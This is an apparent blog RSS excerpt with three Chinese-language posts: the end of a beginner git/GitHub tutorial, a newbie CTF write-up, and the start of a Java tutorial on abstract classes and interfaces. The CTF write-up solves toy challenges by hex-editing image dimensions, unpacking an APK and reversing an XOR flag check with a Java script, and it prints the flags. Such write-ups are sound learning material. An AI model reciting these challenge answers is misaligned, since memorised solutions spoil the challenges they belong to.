&lt;code&gt;$ ssh-keygen -t rsa -b 4096 -C &quot;your_email@example.com&quot;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;再将其 public key 复制进剪贴板
&lt;code&gt;$ clip &amp;lt; ~/.ssh/id_rsa.pub&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;之后到&lt;a href=&quot;https://github.com/settings/keys&quot;&gt;https://github.com/settings/keys&lt;/a&gt;里，点击 New SSH key，然后把它粘贴到文本框里&lt;/p&gt;
&lt;p&gt;接下来就是测试连接&lt;/p&gt;
&lt;p&gt;在命令行下输入 &lt;code&gt;ssh -T git@github.com&lt;/code&gt; 以测试 SSH 是否配置好&lt;/p&gt;
&lt;p&gt;预期结果应如下&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;PS C:\Users\situ&amp;gt; ssh -T git@github.com
Hi situ2001! You&apos;ve successfully authenticated, but GitHub does not provide shell access.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;此时，密钥配置完成。&lt;/p&gt;
&lt;p&gt;然后下面是操作的过程，虽然不知道发生了什么，但是先照着做就是了。&lt;/p&gt;
&lt;h2&gt;跟踪自己的代码&lt;/h2&gt;
&lt;p&gt;这块内容大致分为两步&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;新建一个仓库&lt;/li&gt;
&lt;li&gt;往仓库提交你的代码&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;新建一个仓库&lt;/h3&gt;
&lt;p&gt;这个新建一次就行了。这个新建一次就行了。这个新建一次就行了。&lt;/p&gt;
&lt;p&gt;仓库分为本地的仓库（即本机）和远程仓库（在这里指 github 的仓库）&lt;/p&gt;
&lt;p&gt;建立本地仓库的话，就是在你代码的目录下，输入下面的命令&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git init
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;成功初始化后的输出可能如下&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Initialized empty Git repository in C:/Users/situ/github/git_test/.git/
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;接着去 github 新建对应的仓库，在 github 首页的右上角就能看到新建仓库的图标了，跟着指引一步一步做下去就行了&lt;/p&gt;
&lt;p&gt;至此，仓库的新建工作完成了&lt;/p&gt;
&lt;h3&gt;往仓库提交你的代码&lt;/h3&gt;
&lt;p&gt;接着就是进行状态的检查，这个命令&lt;strong&gt;很有用&lt;/strong&gt;，它可以告诉你现在仓库的状态是什么样子的&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git status
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;输出可能如下&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;C:\Users\situ\github\git_test&amp;gt;git status
On branch master

No commits yet

Untracked files:
  (use &quot;git add &amp;lt;file&amp;gt;...&quot; to include in what will be committed)
        1.txt
        Main.java

nothing added to commit but untracked files present (use &quot;git add&quot; to track)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;接着，把 untracked 的文件加入 git 中&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git add .
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这个命令表示把所有更改过的或者未追踪的文件加入跟踪&lt;/p&gt;
&lt;p&gt;接着就是记录自己此时仓库的情况，使用如下命令&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git commit -m &quot;my first commit&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;输出结果如下&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[master (root-commit) cc978b4] my first commit
 2 files changed, 15 insertions(+)
 create mode 100644 1.txt
 create mode 100644 Main.java
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;再用&lt;code&gt;git status&lt;/code&gt;看看&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;On branch master
nothing to commit, working tree clean
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;说明，此时仓库已经记录下你现在的工作了。&lt;/p&gt;
&lt;p&gt;接着我们使用命令&lt;code&gt;git remote&lt;/code&gt;进行远端仓库的添加(如下仅为实例，具体情况具体分析)&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git remote add origin https://github.com/situ2001/git_test.git
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;最后，我们使用&lt;code&gt;git push&lt;/code&gt;命令，把此时本地的 master 分支推到远端仓库上的 master 分支&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git push -u origin master
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;出现像下面这样的，是成功了&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;C:\Users\situ\github\git_test&amp;gt;git push -u origin master
Enumerating objects: 4, done.
Counting objects: 100% (4/4), done.
Delta compression using up to 16 threads
Compressing objects: 100% (3/3), done.
Writing objects: 100% (4/4), 406 bytes | 406.00 KiB/s, done.
Total 4 (delta 0), reused 0 (delta 0), pack-reused 0
To https://github.com/situ2001/git_test.git
 * [new branch]      master -&amp;gt; master
Branch &apos;master&apos; set up to track remote branch &apos;master&apos; from &apos;origin&apos;.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;接着，你在 github 的 repo 上面就能见到这次的 commit 了。&lt;/p&gt;
&lt;p&gt;那么&lt;strong&gt;在其他地方&lt;/strong&gt;操作，怎么把仓库拉下来啊。很 EZ，用&lt;code&gt;git clone&lt;/code&gt;命令就行了，如下&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git clone [repo-url]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;还有不要忘了在其他地方做了更改，回到自己的环境下，要进行一下&lt;code&gt;git pull&lt;/code&gt;同步一下远端仓库的内容哦&lt;/p&gt;
&lt;h2&gt;与他人进行合作&lt;/h2&gt;
&lt;p&gt;有时候我们会与他人合作，共同 contribute 同一个 repo，因此，一些 git 分支与合并的操作还是要懂得一点的&lt;/p&gt;
&lt;p&gt;我目前了解到的合作还是&lt;strong&gt;比较肤浅&lt;/strong&gt;，自己了解过的只有两种&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;受他人邀请后，直接获得对仓库进行更改的权限&lt;/li&gt;
&lt;li&gt;fork 一份他人的 repo，对其修改后，在 github 上发起 PR（Pull Request）&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;直接修改所有者的 repo&lt;/h3&gt;
&lt;p&gt;这两种原理是差不多的，我挑较为用过次数比 2 多的 1 来说吧(事实上这&lt;strong&gt;有点头铁&lt;/strong&gt;，推荐用 2)&lt;/p&gt;
&lt;p&gt;如果 repo 的所有者对你发出了 collaborate 的邀请，接受了，你对应用户的邮箱就能直接在这个 repo 下进行更改了&lt;/p&gt;
&lt;p&gt;此时先使用命令&lt;code&gt;git clone&lt;/code&gt;把对应的仓库 clone 下来&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git clone [repo-url]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;由于是多人合作，就要避免一些更改的冲突，此处比较保险的方法是利用 git 的分支操作，大概操作如下：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;创建分支并切换到对应的分支&lt;/li&gt;
&lt;li&gt;进行相对应的更改并做好 commit&lt;/li&gt;
&lt;li&gt;在主分支下进行整合工作&lt;/li&gt;
&lt;li&gt;将当前的分支 push 到远端分支&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;开始操作&lt;/strong&gt;&lt;s&gt;（由于最近在肝某 deadline，所以一些输出就不搞了，理论上这流程下来是没有问题的）&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;首先，创建一个分支并切换到对应分支&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git checkout -b [branch-name]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;下面这两行与上面的是等效的&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git branch [branch-name]
git checkout [branch-name]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;接着，开始你的工作，进行相对应的更改并做好相对应的 commit，还是像上面一样&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git add .
git commit -m &quot;some changes&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;再接着，把做好的修改，确定无误后，使用&lt;code&gt;git merge&lt;/code&gt;指令将该分支合并到主分支上......等等，此时我们冷静一下，我在进行多人合作诶，思考下：万一人家在我合并之前已经进行了一次合并或者是主分支出现了一些更新的 commit 呢？&lt;/p&gt;
&lt;p&gt;所以，我们在合并之前最好是使用&lt;code&gt;git pull&lt;/code&gt;命令，同步一下最新的远端仓库，所以要执行的操作如下，先同步后合并&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git checkout master
git pull
git merge [branch-name]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;git 会进行自动处理，除非是 git 无法处理的冲突才需要人为干涉（这里暂不多说）&lt;/p&gt;
&lt;p&gt;接下来就是，把当前本地的分支推到远端了，依旧是&lt;code&gt;git push&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git push -u origin master
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;要是想要把新分支也同步上去，如下&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git checkout [branch-name]
git push -u origin [branch-name]
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;使用 Pull Request&lt;/h3&gt;
&lt;p&gt;如果是用 PR 的方法的话，应该会安全一点（云玩家又来了&lt;/p&gt;
&lt;p&gt;我认为先是 fork 一份到自己的号里，然后前面 1 2 步骤与上面一样，而 3 4 5 分别是&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;将主分支的最新更改整合到你的分支里&lt;/li&gt;
&lt;li&gt;push 你的分支到远端&lt;/li&gt;
&lt;li&gt;在你的 repo 下根据提示进行 PR&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;自第三步有点差别，考虑到是合作，他人有可能进行了一定的修改，先&lt;code&gt;git pull&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git checkout master
git pull
git checkout [branch-name]
git merge master
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;再合并，不过此次是把 master 合并到你的分支里&lt;/p&gt;
&lt;p&gt;第四步就是将你的分支推到远端啦&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git push -u origin [branch-name]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;第五步就是打开你的 github 对应的 repo，它会自动提示你进行 PR 操作的&lt;/p&gt;
&lt;p&gt;甚至还能做下事后清理工作，可以把本地和远程对应的分支所删除(当然远程分支也可以在 github 的对应的 repo 下进行删除分支的操作)&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git branch -d [branch-name]
git push -d origin [branch-name]
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;还有更多&lt;/h2&gt;
&lt;p&gt;我只是简单地写了两种常见的 git 使用场景的普遍情况，这俩操作可以应付得来大部分场景了&lt;/p&gt;
&lt;p&gt;不过就这么点，还远远不够，再安利些东西吧，git 指令想了解原理和更多操作，可以参考下面这个，初学的时候受益甚多（不过内容还是比较多的，初次上手可以像我这篇文章一样直接开个仓库进行操作&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.atlassian.com/git/tutorials&quot;&gt;Git Tutorials and Training | Atlassian Git Tutorial&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;强烈建议&lt;/strong&gt;了解一下里面画的图片，配合图片来解释 git 的一些行为，会比空洞的文字好很多的&lt;/p&gt;
&lt;p&gt;刚刚全都是在命令行下处理的，如果需要一个相关的 GUI 工具，可以尝试下面的&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.sourcetreeapp.com/&quot;&gt;Sourcetree&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;vscode&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;还有一个方法，学习这东西，可以到 github 上面浏览一下出名的 repo 的一些东西，比如说，它们的 commit commet 的写法风格是怎么样的，它们的分支是怎么样的......&lt;/p&gt;
&lt;p&gt;以上就是我这菜狗能提供的东西了，如有错误，还请指出~~（菜是原罪）~~&lt;/p&gt;
</content:encoded><category>教程</category><category>git</category></item><item><title>记一次CTF新生赛</title><link>https://situ2001.com/blog/notes/newbie-ctf-writeup/</link><guid isPermaLink="true">https://situ2001.com/blog/notes/newbie-ctf-writeup/</guid><description>记一次CTF新生赛</description><pubDate>Sun, 08 Nov 2020 06:02:20 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;该内容使用MarkdownIt渲染，如需查看图片及获取更好的排版，请阅读原文
This content is rendered using MarkdownIt, for better layout and images, please read the original post&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;新手上路，大佬们轻喷&lt;/p&gt;
&lt;h2&gt;前言&lt;/h2&gt;
&lt;p&gt;昨天举办了一场 CTF 新生赛，比赛时间是早八到凌晨结束 &lt;s&gt;我一觉睡到下午三点半才发现&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;既然是咸鱼的周六，最近也累得很没啥事情想做，那就&lt;s&gt;先看一集 yuru yuri&lt;/s&gt;再参加耍耍呗&lt;/p&gt;
&lt;h2&gt;一瞥&lt;/h2&gt;
&lt;p&gt;题目还挺综合的，Android web reverse misc 和 crypto 都有涉及，难度大多数都还算是 EZ 级别的，就挑三四道&lt;s&gt;我会的&lt;/s&gt;题记录一下吧&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;这网站真眼熟&lt;/li&gt;
&lt;li&gt;二次元？二刺猿！&lt;/li&gt;
&lt;li&gt;g2uc_android1&lt;/li&gt;
&lt;li&gt;g2uc_android2&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;题目部分&lt;/h2&gt;
&lt;h3&gt;这网站真眼熟&lt;/h3&gt;
&lt;p&gt;题目给出了一个 URL，在浏览器打开之后会跳到学校官网&lt;/p&gt;
&lt;p&gt;下意识想到是不是有可能是 302 跳转，如果是这样的话，直接 F12 看看跳转部分有啥就行
果不其然，在 header 的部分找到了 flag&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h3&gt;二次元? 二刺猿&lt;/h3&gt;
&lt;p&gt;题目如图所示&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;hint 如下，我表示这是 GHS 的行为 &lt;s&gt;赤裸裸的扒裤子&lt;/s&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;这图只有上半身，这合理吗，&lt;strong&gt;下半身&lt;/strong&gt;表示很淦，快把&lt;strong&gt;下半身&lt;/strong&gt;放出来&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;那综合现有条件进行分析，应该是通过某种手段将下半部分隐藏起来了，而下半部分的实际信息还是存在的&lt;/p&gt;
&lt;p&gt;之前参加过一个学院的讲座，好像是介绍啥方班的，里面的大佬也一展身手，我印象中好像有个十六进制编辑器是常用到的，便匆忙下载了 UltraEdit，然后把图扔进去打开，出现一坨码&lt;/p&gt;
&lt;p&gt;先冷静一下，进行第一次尝试，会不会是这 se 图的高度被改掉了？查看一下分辨率，其高度是 1754，十六进制转换过去就是 06DA，于是把 06DA 扔入搜索框内进行搜索，果不其然在开头部分找到了&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;那么图片高度属性应该就可以通过修改这个 hex 值进行更改了&lt;/p&gt;
&lt;p&gt;过于疲惫，做人要暴力一点，直接把 06 更成 0F 再保存（&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;一瞬爆出 flag&lt;/p&gt;
&lt;h3&gt;g2uc_android1&lt;/h3&gt;
&lt;p&gt;这个题差点把我整吐了，前期没有 hint 也不能安装，打开 jadx 也就是一个创建 mainactivity 的方法，并没有什么特殊之处，死磕了好久，太菜了
不过最后 admin 加了 hint。。。&lt;/p&gt;
&lt;p&gt;题目没啥的，就提供了一个 apk，两个 hint 如下&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Hint1: 我被盖住了嘤嘤嘤
Hint2: 为什么同样都是图片，他就是能在我上面&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;思考了一下，难不成这个 apk 打开其实有张图片被盖住了？那既然是图片，直接把 apk 解开不就行了吗。&lt;/p&gt;
&lt;p&gt;解开之后，根据高中用 app inventor(?)写 apk 现在用 AS 的我的一点经验，&lt;s&gt;直接搜索筛选较大文件啊这 apk 这么小&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;最后找出了 flag 所在图，图片名为 f，&lt;s&gt;我表示我的此刻的心情也是 F&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h3&gt;g2uc_android2&lt;/h3&gt;
&lt;p&gt;这个还行，直接 jadx 打开就看到获取 flag 的方法了，应用如果能安装运行的话，那应该是一个输入框+按钮进行 flag 输入与比对&lt;/p&gt;
&lt;p&gt;有用的部分在下面，很直接写在 MainActivity 里了&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;    public final void click(View view) {
        Intrinsics.checkParameterIsNotNull(view, &quot;view&quot;);
        if (view.getId() == R.id.button) {
            boolean correct = true;
            View findViewById = findViewById(R.id.editTextTextPersonName);
            Intrinsics.checkExpressionValueIsNotNull(findViewById, &quot;findViewById&amp;lt;EditText&amp;gt;(R…d.editTextTextPersonName)&quot;);
            Editable Flag = ((EditText) findViewById).getText();
            int[] arr = {153, 147, 158, 152, 132, 167, 144, 141, 160, 206, 140, 160, 154, 158, 140, 134, 134, 134, 130};
            int i = 0;
            for (int i2 = 0; i2 &amp;lt; Flag.length(); i2++) {
                if ((Flag.charAt(i2) ^ 255) != arr[i]) {
                    correct = false;
                }
                i++;
            }
            TextView text = (TextView) findViewById(R.id.textView2);
            if (correct) {
                Intrinsics.checkExpressionValueIsNotNull(text, &quot;text&quot;);
                text.setText(&quot;Correct&quot;);
                return;
            }
            Intrinsics.checkExpressionValueIsNotNull(text, &quot;text&quot;);
            text.setText(&quot;False&quot;);
        }
    }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;一眼看出是个简单的异或拿 flag，根据异或可以反向日回去，我们可以直接反向用 arr 数组里面数字跟 255 进行异或处理，就可以得到 flag&lt;/p&gt;
&lt;p&gt;&lt;s&gt;下面是简陋 jvav coding 时间&lt;/s&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public class Test {
    public static void main(String[] args) {
        int[] arr = {153, 147, 158, 152, 132, 167, 144, 141, 160, 206, 140, 160, 154, 158, 140, 134, 134, 134, 130};
        for (int i = 0; i &amp;lt; arr.length; i++)
            System.out.print((char)(arr[i] ^ 255));
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;最后获得 flag &lt;code&gt;flag{Xor_1s_easyyy}&lt;/code&gt;
嗯，以后可能没那么 EZ 了
&lt;s&gt;不会有 easy 的题目，但可能有难到要写 essay 总结的题目&lt;/s&gt;&lt;/p&gt;
&lt;h2&gt;写在后面&lt;/h2&gt;
&lt;p&gt;这新生赛竟然开了 16 小时，听说真正比赛是肝一天多的
我才断断续续肝四小时多就累趴下了，&lt;s&gt;体能有待提升&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;然后，笔记本比赛下来，没有 linux 虚拟机，所有操作全靠奇怪操作，一圈下来，&lt;s&gt;奇怪的工具增多了&lt;/s&gt;
最好还是要备一个 kali-linux VM，这样一来，什么工具都能有&lt;/p&gt;
&lt;p&gt;做题的时候脑洞要放开多多思考，还有知识的储备量要足够大（不然就像我那样解不出 PHP 相关的 web 题了&lt;/p&gt;
&lt;p&gt;新手上路也只能做这么多了&lt;/p&gt;
&lt;p&gt;
&lt;/p&gt;
&lt;p&gt;也就这样了，希望前排的大佬能带带萌新&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;s&gt;先溜去把一团糟的笔记本环境整理一下了&lt;/s&gt;&lt;/p&gt;
</content:encoded><category>随笔</category></item><item><title>初识抽象与接口</title><link>https://situ2001.com/blog/java/abstract-and-interface/</link><guid isPermaLink="true">https://situ2001.com/blog/java/abstract-and-interface/</guid><description>初识抽象与接口</description><pubDate>Thu, 22 Oct 2020 08:24:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;该内容使用MarkdownIt渲染，如需查看图片及获取更好的排版，请阅读原文
This content is rendered using MarkdownIt, for better layout and images, please read the original post&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;这篇记录了咱对Java面向对象编程中抽象与接口的初步理解&lt;/p&gt;
&lt;p&gt;在了解了OOP中的封装、继承与多态之后，我继续前行到抽象与接口的学习&lt;/p&gt;
&lt;p&gt;因为是初次接触一下这个内容就开始输出文章了，估计问题不少，希望大神能指正&lt;/p&gt;
&lt;h2&gt;修订记录&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;2020-10-24 初版&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;抽象类&lt;/h2&gt;
&lt;p&gt;抽象是什么？什么是抽象？在了解OOP的抽象之前，我在一本计算机导论书里面读过这段话&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The term &lt;strong&gt;abstraction&lt;/strong&gt;, as we are using it here, refers to the distinction between the external properties of an entity and the details of the entity&apos;s internal composition. It is abstraction that allows us to ignore the internal details of a complex device and use it as a single, comprehensible unit.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;这段话大概是说了抽象存在的作用，它使得我们的社会分工更加妥当，在许多地方，你只需要做好你自己的本能，而不必刻意去理解你所作所为的背后的原理&lt;/p&gt;
&lt;p&gt;这就像计算机与用户之间的关系一样，当你作为用户，你不用去了解程序的运行过程和CPU的原理，这些东西并不会影响你的日常使用，你作为用户只需要好好去使用计算机就行了，此时这些原理就像黑盒子一样，被封装被抽象起来了&lt;/p&gt;
&lt;p&gt;那么OOP语言中的抽象也是这个道理吗？&lt;/p&gt;
&lt;p&gt;那我这里还是拿上一篇文章所用的类GeometricObject和Circle来举例&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/** UML diagram */
               GeometricObject
-------------------------------------------------
-color: String
-filled: boolean
-dateCreated: java.util.Date
-------------------------------------------------
+GeometricObject()
+GeometricObject(color: String, filled: boolean)
+getColor(): String
+isFilled(): boolean
+setFilled(filled: boolean): void
+getDataCreated(): java.util.Date
+toString(): String


                      Circle
-------------------------------------------------------
-radius: double
-------------------------------------------------------
+Circle()
+Circle(radius: double)
+Circle(radius: double, color: String, filled: boolean)
+getRadius(): double
+setRadius(radius: double): void
+getArea(): double
+getPerimeter(): double
+getDiameter(): double
+printCircle(): void
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;还是这熟悉的两个类，只不过仔细观察，你会发现，计算周长和面积的方法&lt;code&gt;getPerimeter()&lt;/code&gt;和&lt;code&gt;getArea()&lt;/code&gt;都位于Circle类，但是每一个GeometricObject理论上都要计算面积和周长啊，然而由于每种几何图形的面积周长的计算方法都不一样，因此这两个方法都是依赖于特定图形的类如Circle的&lt;/p&gt;
&lt;p&gt;那我们应该怎么样让GeometricObject的实例使用&lt;code&gt;getPerimeter()&lt;/code&gt;和&lt;code&gt;getArea()&lt;/code&gt;方法呢？&lt;/p&gt;
&lt;p&gt;我们可以把类改成抽象类，然后在这个类里面添加抽象方法&lt;code&gt;getPerimeter()&lt;/code&gt;和&lt;code&gt;getArea()&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;于是将其class header&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public class GeometricObject
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;加个 modifier &lt;strong&gt;abstract&lt;/strong&gt; 改变为如下&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public abstract class GeometricObject
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;并在GeometricObject类里，加入抽象方法&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/**abstract classes */
public abstract double getArea();

public abstract double getPerimeter();
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;抽象方法body都是空的，虽然这个抽象方法存在于GeometricObject类里面，但是并不由这个类实现，这个方法的实现交给了继承它的子类来实现&lt;/p&gt;
&lt;p&gt;我们在原Circle类里面重写这个方法（已经重写了，如下）&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;private double radius;

@Override
public double getArea() {
    return radius * radius * Math.PI;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;此时我们可以进行如下操作&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public class Test {
    public static void main(String[] args) {
        GeometricObject circle = new Circle(2);
        System.out.println(&quot;Area is &quot; + circle.getArea());
        //output: Area is 12.566370614359172
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;GeometricObject类型的对象也能调用getArea()方法了，这个方法实际是在Circle类里面实现的（这个实现方法的类的调用是由JVM动态决定的，取决于actual type），这跟我之前看到的关于抽象的描述岂不是有神似之处，虽然这方法实际上是在子类的那一层实现的，但是父类只管知道有这个方法并且自己可以用它就行&lt;/p&gt;
&lt;p&gt;就这个例子来说，在GeometricObject类中加这俩抽象方法有什么好处呢？&lt;/p&gt;
&lt;p&gt;我认为相比于哲学的抽象定义，更实际的用途就是在&lt;strong&gt;更加通用化的父类中使用子类中比较特殊化的方法&lt;/strong&gt;吧&lt;/p&gt;
&lt;p&gt;这样定义了抽象类与方法，我们就可以直接比较两个不同子类对象的面积和周长了（而不用进行typecast）&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;并且&lt;/strong&gt;由于抽象类中的抽象方法必须要有继承这个类的子类进行重写实现，因此抽象类的constructor不能直接被调用，从而无法直接创建一个actual type为抽象类的对象，其constructor在子类对象被创建的时候通过继承链进行调用&lt;/p&gt;
&lt;h2&gt;接口&lt;/h2&gt;
&lt;p&gt;接口是什么呢？接口是一个与类非常相似的结构，它可以指定通用行为给相关或不相关的类，你可以指定这个类是不是如 可以比较(Comparable) 可以克隆(Cloneable)等&lt;/p&gt;
&lt;p&gt;接口继承的方式与类继承的方式也是差不多，只不过Java不允许一个子类继承多个子类，但是允许实现多个interface&lt;/p&gt;
&lt;p&gt;要实现一个接口，只需要在类上加上 &lt;code&gt;implements interface1, interface2, ... interfaceN&lt;/code&gt; 即可，此时这个类实现了这多个接口，并且同时也是这些个接口的对象&lt;/p&gt;
&lt;p&gt;有什么例子吗？&lt;/p&gt;
&lt;p&gt;我们用了非常多的一个&lt;code&gt;String&lt;/code&gt;类，拥有一个方法&lt;code&gt;compareTo(String s)&lt;/code&gt;，当我们想要表示两个字符串的时候，便可以调用这个方法&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;String s1 = &quot;ABC&quot;;
String s2 = &quot;ABCD&quot;;
System.out.println(s1.compareTo(s2)); //output: -1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;经过API文档的查阅，我们可以得出这么点东西&lt;/p&gt;
&lt;p&gt;在String页面下有如下的class header&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public final class String extends Object implements Serializable, Comparable&amp;lt;String&amp;gt;, CharSequence
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;对于&lt;code&gt;interface Comparable&amp;lt;String&amp;gt;&lt;/code&gt; 我们也能在API Doc下面找到如下的&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Interface Comparable&amp;lt;T&amp;gt; {
    int compareTo(T o);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;其中的T其实就是type parameter, T 代表着任意一个 type&lt;/p&gt;
&lt;p&gt;也就是说，这个方法在接口中定义，在实现它的类中进行接口方法的实现，这点与抽象类非常相似&lt;/p&gt;
&lt;h2&gt;接口与抽象的区别&lt;/h2&gt;
&lt;p&gt;既然抽象类与接口如此相似，那差别是什么呢？&lt;/p&gt;
&lt;p&gt;一个类包含了data field, constructor和method, 而接口与类也差不多，只是没了constructor，并且在另外两个上也有那么一丢丢差别&lt;/p&gt;
&lt;p&gt;我拿&lt;strong&gt;Java 8或以上&lt;/strong&gt;的来讲讲区别吧&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;data field&lt;/th&gt;
&lt;th&gt;constructor&lt;/th&gt;
&lt;th&gt;method&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;抽象类&lt;/td&gt;
&lt;td&gt;跟个正常类一样&lt;/td&gt;
&lt;td&gt;有 但是只能由子类调用&lt;/td&gt;
&lt;td&gt;跟个正常类一样 只是多了抽象方法&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;接口&lt;/td&gt;
&lt;td&gt;必须都是final&lt;/td&gt;
&lt;td&gt;无&lt;/td&gt;
&lt;td&gt;只能是抽象方法 &lt;strong&gt;default&lt;/strong&gt;方法 &lt;strong&gt;static&lt;/strong&gt;方法&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;并且，一个子类可以实现多个接口，而一个子类只能继承一个父类&lt;/p&gt;
&lt;p&gt;也许你会问：好像除了一类实现多个接口的特性，接口好像一无是处诶？&lt;/p&gt;
&lt;p&gt;其实我认为存在即合理吧，从某种情况来讲，接口比抽象类更加&lt;strong&gt;普适通用&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;写这篇文章的时候，咱还没有什么实际项目经验，是个云玩家，举个小实例吧&lt;/p&gt;
&lt;p&gt;比如我们定义那么一个接口 &lt;code&gt;Edible&lt;/code&gt;, 含有一个 &lt;code&gt;howToEat()&lt;/code&gt; 抽象方法&lt;/p&gt;
